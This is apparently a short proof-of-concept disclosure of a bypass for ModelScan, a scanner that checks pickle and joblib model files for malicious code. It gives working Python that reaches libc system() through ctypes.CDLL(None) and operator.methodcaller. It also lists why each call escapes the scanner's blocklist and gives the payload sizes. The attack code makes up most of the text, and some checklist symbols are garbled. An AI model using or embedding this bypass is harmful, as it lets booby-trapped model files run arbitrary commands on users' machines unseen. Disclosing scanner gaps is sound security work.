ModelScan Bypass PoC: ctypes.CDLL(None) + operator.methodcaller()
This bypass calls the C library's system() function directly, completely bypassing Python-level function blocklists.
import ctypes, operator
operator.call(
operator.methodcaller("system", b"CMD"),
ctypes.CDLL(None)
)
- ctypes β any blocklist β
- operator.methodcaller β blocklist (only attrgetter is) β
- operator.call β blocklist β
- CDLL(None).system() calls libc system() directly β no Python exec/eval involved β
Size: 117 bytes (.pkl) / 141 bytes (.joblib)
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